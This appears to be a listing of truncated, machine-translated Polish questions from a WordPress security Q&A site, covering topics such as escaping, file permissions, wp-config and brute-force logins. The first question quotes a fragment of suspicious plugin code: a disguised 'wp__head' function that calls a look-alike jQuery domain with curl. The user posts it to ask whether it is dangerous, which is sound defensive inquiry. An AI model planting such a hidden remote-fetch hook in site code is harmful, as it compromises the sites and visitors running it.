Znalazłem to we wtyczce. Co to robi? czy to jest niebezpieczne? add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1");...
W obecnej formie to pytanie nie pasuje do naszego formatu pytań i odpowiedzi. Oczekujemy, że odpowiedzi poparte będą faktami, referencjami lub wiedzą fachową, ale to pytanie prawdopodobnie będzie wymagało debaty, argumentów, ankiet lub rozszerzonej dyskusji. Jeśli uważasz, że to...
Czy utrzymywanie wp-admin/install.phpi wp-admin/install-helper.phpwyciek bezpieczeństwa w nowszych wersjach wordpress? Domyślnie uprawnienia do plików wynoszą 644. Jeśli jest jakikolwiek wyciek, jaki
Spojrzałem na kod, ale nie widziałem ucieczki na funkcjach takich jak the_title the_content the_excerptitp. Być może nie czytałem go poprawnie. Czy muszę uciec od tych funkcji w tworzeniu motywu, takich jak: esc_html ( the_title () ) Edycja: jak wskazano w odpowiedziach poniżej, powyższy kod jest...
Widzę, że pliki SVG są domyślnie blokowane w programie do przesyłania multimediów i musisz dodać go jako obsługiwany typ MIME w functions.php. Jakie są przyczyny
Mamy problemy z zewnętrznym programistą. Chcemy ograniczyć dostęp do wp-adminstrony tylko do dostępu wewnętrznego (przez VPN ). Po prostu nie będzie atakowany przez zewnętrznych użytkowników. Możemy wyliczyć administratorów z witryny i nie chcemy, aby zostali wyłudzeni. Nasz programista twierdzi,...
Konfiguracja WordPress do aktualizacji w aplikacji (tj. WordPress) jest dla mnie idealna ze względu na wygodę. Niemniej jednak niepokoją mnie wymagania. Wymagane pola, które pojawiają się po zainstalowaniu ssh2 dla php, pytają nie tylko o mój klucz publiczny, ale także o mój klucz prywatny. Sądzę,...
Krótkie pytanie, które może trochę pomóc w bezpieczeństwie. Zauważyłem, że plik readme.html ma wymieniony numer wersji. Ponownie pojawia się po każdej aktualizacji, podobnie jak licence.txt i wp-config-sample.php. Czy istnieje prosty sposób, aby WordPress automatycznie usuwał te pliki po...
Patrząc na kodeks dla wp_insert_post () , stwierdza on, że ta funkcja „... dezynfekuje zmienne, wykonuje pewne kontrole, uzupełnia brakujące zmienne, takie jak data / czas itp.” (EDYCJA: Zaktualizowałem wpis Kodeksu, aby zawierał bardziej solidny przykład w tym bezpieczeństwo, a także meta post i...
To utrudnia moje kodowanie. Kodeks Wordpress uzasadnia użycie esc_url mówiąc niejasno o bezpieczeństwie. Ale czy to naprawdę jest warte kłopotów? Na przykład, jaka jest ważna, praktyczna korzyść z bezpieczeństwa przy użyciu <?php echo esc_url( home_url( '/' ) ); ?> zamiast <?php echo...
Sytuacja początkowa W przypadku witryny, którą konfiguruję, analizowałem całą dziedzinę zabezpieczania przesyłania / pobierania i ograniczania dostępu do nich na podstawie ról / możliwości użytkowników. Oczywiście przeczytałem kilka poprzednich pytań związanych z (ogólnym) tematem tutaj, ze...
Próbuję zabezpieczyć mojego bloga wordpress. Czytam kilka postów w sieci, które powinienem zmienić table_prefixi ukryć wp-config.php. Jednak nie rozumiem? Co może zrobić atakujący z moim wp-config.php? Mam na myśli, że istnieją moje konfiguracje bazy danych, ale osoba atakująca potrzebuje mojej,...
Chcę użyć kilku interfejsów API, a wiele z nich zawiera klucze, tajne klucze i hasła wymagane do działania. Gdzie w WordPress można przechowywać te informacje? Zakładając, że każdy może zhakować twoją bazę danych, czy mimo to WordPress może zabezpieczyć zapisywanie tych informacji? Zastanów się...
To prawdopodobnie pytanie noob, ALE wysłuchaj mnie - czy nie ma sensu używać Nonce do ochrony przed takimi rzeczami jak złomiarki (skrobaczki phpcurl itp.)? Ale moja Nonce drukuje w nagłówku dokumentu tak: /* <![CDATA[ */ var nc_ajax_getpost = { ...stuff... getpostNonce: "8a3318a44c" }; /*...
Przeglądałem wiele informacji na temat bezpieczeństwa motywu WP i wtyczek i rozumiem pojęcie, że należy unikać atrybutów i wartości HTML w motywach i wtyczkach. Widziałem bloginfo()i echo get_bloginfo()użyłem zarówno standardowej, jak i wewnątrz funkcji esc_html()lub esc_attr(). Geneza i _s ,...
Chcę odfiltrować dowolny identyfikator URI żądania HTTP wykonany za pośrednictwem interfejsu API HTTP. Przypadków użycia: Sprawdzanie aktualizacji WordPress przechodzi do http://api.wordpress.org/core/version-check/1.6/ , ale https://api.wordpress.org/core/version-check/1.6/ też działa, i chcę...
Czytałem wiele artykułów na blogu WordPress Security, w których eksperci ds. Bezpieczeństwa zalecają specjalne kroki, aby zachować ostrożność, gdy ktoś jest zaniepokojony bezpieczeństwem swojej witryny WordPress. Jeden z nich jest: Wskazówki dotyczące bezpieczeństwa WordPress: Usuń...
Właśnie uruchomiłem WP na własnym serwerze. Nie próbuję więcej blokować rzeczy. Jakie uprawnienia powinien mieć użytkownik db do mojej bazy danych
Właśnie opublikowałem nową wtyczkę: No More Passwords Obecnie mam tag beta, ponieważ logowanie do platformy to delikatny problem i nie chcę wypuszczać czegoś, co może mieć luki w zabezpieczeniach. Oto moje zapytanie: Czy jest bezpieczny? Wykonałem następujące czynności, aby zapewnić...
Przez kilka tygodni zainstalowaliśmy Limit Próby logowania , a liczba prób brutalnej siły na wp-admin / wp-login jest niesamowita. Na początku wszystkie próby dotyczyły nazwy użytkownika „Administrator”, która nie istnieje na naszej stronie, więc uznałem to za irytację, ale nie za duże zagrożenie....